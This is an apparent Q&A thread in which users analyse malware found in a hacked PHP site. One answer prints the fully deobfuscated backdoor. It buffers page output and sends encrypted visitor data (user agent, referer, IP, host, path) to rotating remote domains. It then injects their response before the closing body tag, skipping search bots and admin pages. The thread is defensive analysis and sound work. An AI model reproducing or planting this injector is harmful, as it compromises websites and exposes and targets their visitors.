        $mec("", $soy("\x98?\r3\x0c7\x16w\rfunction \x93\xaf\x89\x02\xab\x05z\xce\x15\xb2\x0c5\x152:W\r6\xb8@\r4.\xe1?\x04\x1f\x11\r2\x86\xdc) { \xdc\x1a\x88\xeb{\xab\x05[$i]\x99\'\x0b\x10",$scy));

        return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;
    } 

    $r9 = explode("|",$n9);
    $b9=0;
    $a9=0;
    for($i9=0;$i9<sizeof($r9);$i9++) {
        if ($i9==0)
            $a9=0;
        else
            $a9=$r9[$i9-1]+$a9;
        $b9=$r9[$i9];
        $v_[]=substr($v9, $a9, $b9);
    }
    $y =1;
    for($i=0;$i<5;$i++) {
        $vv1 ="o"."o".$y;
        if ($y==1)
            $y=2;
        else
            $y=1;
        $vv1($v_[$i]);
    }

}
?>
  • I am suffering from the same kind of virus in my php files. <!-- Take 1 --> in my case. What is the cause and solution ? – Slimshadddyyy Jun 25 '14 at 6:52
  • @Slimshadddyyy The "cause"? Um, you got hacked, and the attackers are trying to obfuscate what their code does. – Jonathon Reinhart Jun 25 '14 at 6:53
  • Then how can I deobfusticate and decode hack code ? – Slimshadddyyy Jun 25 '14 at 6:56
  • 2
    Like I am. Piece by piece, "executing" the code in your head. – Jonathon Reinhart Jun 25 '14 at 6:57
  • It's just a variable name, like $apple. – Jonathon Reinhart Jun 25 '14 at 7:28
2

Fiasko Labs answered this question already, but I have decoded the file, because I like riddles ;)

I won't provide any dirty fixes for this code, as it would not improve anything.

After the script loaded it makes a request to one of a few sites and displays the response. I'm not quite sure what kind of code / html they load, as it may be specific per hacked shop (didn't try yet).

The requested URLs are:

  • 33db9538.com
  • 9507c4e8.com
  • e5b57288.com
  • 54dfa1cb.com

I've already send an abuse mail to the registrar.

And here is the code, free from decoding functions and stuff like that (maybe not totally free from decoding bugs):

<?php

if((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) {
    $GLOBALS["anuna"]=1;
    function fjfgg($n){return chr(ord($n)-1);}
    @error_reporting(0);

    function cqq($qw) {
        return random($domarr,$qw);
    }

    function en2($s, $q) {
        $g = "";
        while (strlen($g) < strlen($s)) {
            $q = pack("H*", md5($g.$q."q1w2e3r4"));
            $g.=substr($q,0,8);
        }

        return $s^$g;
    }

    function random($arr,$qw) {
        $arr = str_split(md5($qw.gethostbyname("stat-dns".$qw)), 8);
        return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;
    }

    function g_1($url) {
        if (function_exists("file_get_contents") === false) return false;
        $buf = @file_get_contents($url);
        if ($buf == "") return false;
        return $buf;
    }

    function g_2($url) {
        if (function_exists("curl_init") === false) return false;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $res = curl_exec($ch);
        curl_close($ch);
        if ($res == "") return false;
        return $res;
    }

    function g_3($url) {
        if (function_exists("file") === false) return false;
        $inc = @file($url);
        $buf = @implode("", $inc);
        if ($buf == "") return false;
        return $buf;
    }

    function g_4($url) {
        if (function_exists("socket_create") === false) return false;
        $p= @parse_url($url);
        $host = $p["host"];
        if(!isset($p["query"])) $p["query"]="";
        $uri = $p["path"] . "?" . $p["query"];
        $ip1 = @gethostbyname($host);
        $ip2 = @long2ip(@ip2long($ip1));
        if ($ip1 != $ip2) return false;
        $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if (!@socket_connect($sock, $ip1, 80)) {
            @socket_close($sock);
            return false;
        }

        $req = "GET $uri HTTP/1.0\n";
        $req .= "Host: $host\n\n";
        socket_write($sock, $req);
        $buf = "";
        while ($t = socket_read($sock, 10000)) {
            $buf .= $t;
        }

        @socket_close($sock);
        if ($buf == "") return false;
        list($m, $buf) = explode("\r\n\r\n", $buf);
        return $buf;
    }

    function gtd ($url) {
        $co = "";
        $co = @g_1($url);
        if ($co !== false) return $co;
        $co = @g_2($url);
        if ($co !== false) return $co;
        $co = @g_3($url);
        if ($co !== false) return $co;
        $co = @g_4($url);
        if ($co !== false) return $co;
        return "";
    }

    if (!function_exists("comgzi")) {
        function comgzi($gzData) {
            if (substr($gzData,0,3)=="\x1f\x8b\x08") {
                $i=10;
                $flg=ord(substr($gzData,3,1));
                if ($flg>0) {
                    if ($flg & 4) {
                        list($xlen)=unpack("v",substr($gzData,$i,2));
                        $i=$i+2+$xlen;
                    }

                    if ($flg & 8) $i=strpos($gzData,"\0",$i)+1;
                    if ($flg & 16) $i=strpos($gzData,"\0", $i)+1;
                    if ( $flg & 2) $i=$i+2;
                }

                return @gzinflate(substr($gzData,$i,-8));
            } else{
             return false;
            }
        }
    }

    function k34($op,$text) {
        return base64_encode(en2($text, $op));
    }

    function check212($param) {
        if(!isset($_SERVER[$param])) $a="non";
        else if ($_SERVER[$param]=="") $a="non";
        else $a=$_SERVER[$param];
        return $a;
    }

    function day212() {
        $a=check212("HTTP_USER_AGENT");
        $b=check212("HTTP_REFERER");
        $c=check212("REMOTE_ADDR");
        $d=check212("HTTP_HOST");
        $e=check212("PHP_SELF");
        $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb");
        if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) {
            $o1 = "";
        } else {
            $op=mt_rand(100000,999999);
            $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e)));
            $url="http://".cqq(".com")."/".$g4;
            $ca1=en2(@gtd($url),$op);
            $a1=@explode("!NF0",$ca1);
            if (sizeof($a1)>=2) $o1 = $a1[1];
            else $o1 = "";
        }

        return $o1;
    }

    if (!function_exists("dcoo")) {
        function dcoo($cz, $length = null) {
            if (false !== ($dz = @gzinflate($cz) ) ) return $dz;
            if (false !== ($dz = @comgzi($cz) ) ) return $dz;
            if (false !== ($dz = @gzuncompress($cz) ) ) return $dz;
            if (function_exists("gzdecode") ) {
                $dz = @gzdecode($cz);
                if (false !==$dz ) return $dz;
            }

            return $cz;
        }
    }

    if(!function_exists("pa22")) {
        function pa22($v) {
            Header("Content-Encoding: none");
            $t=dcoo($v);
            if(preg_match("/\<\/body/si",$t)) {
                return preg_replace("/(\<\/body[^\>]*\>)/si", day212()."\n"."$"."1", $t,1);
            } else {
                if(preg_match("/\<\/html/si",$t)) {
                    return preg_replace("/(\<\/html[^\>]*\>)/si", day212()."\n"."$"."1", $t,1);
                } else {
                    return $t;
                }
            }
        }
    }

    ob_start("pa22");
}
1

After you have done Fiasco Labs' answer and made it so mean people cannot edit the files on your webserver...

Perusing the code you have, skip down past the "functions" and the first real thing that happens is create_function is run on the str_rev of variable $svv with 9's replaced with " ".

Running this code:

$svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}';
file_put_contents( "hk_strrev.php", strrev($svv));

and then removing the 9s and adding a little formatting:

};functionen2($s,$q){           
$l="\x73\164\x72\154\x65\156";  // strlen
$p="\x70\141\x63\153";          // pAcS  or "܊ck"
$r="\x73\165\x62\163\x74\162";  // substr
$m="\x6d\144\x35";              // mD5 
$g= "";

while($l($g)<$l($s))
{
    $q = $p("H*", $m($g.$q."\x71\61\x77\62\x65\63\x72\64")); // "qawbecrd" or "qbed"
    $g .= $r($q,0,8);
}
return $s^$g;}//

I used the site https://hackvertor.co.uk/public to do a hexstr decoding of the \xx chars. The variables are names of functions. I'm pretty sure the 2nd one would be pack().

The code here is all about obfuscating the actual code via varied formatting techniques. I didn't bother to research anything more than this first function.

The end goal is likely a call to their website for some malicious purpose, possibly injecting their code into the content of the displayed page.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.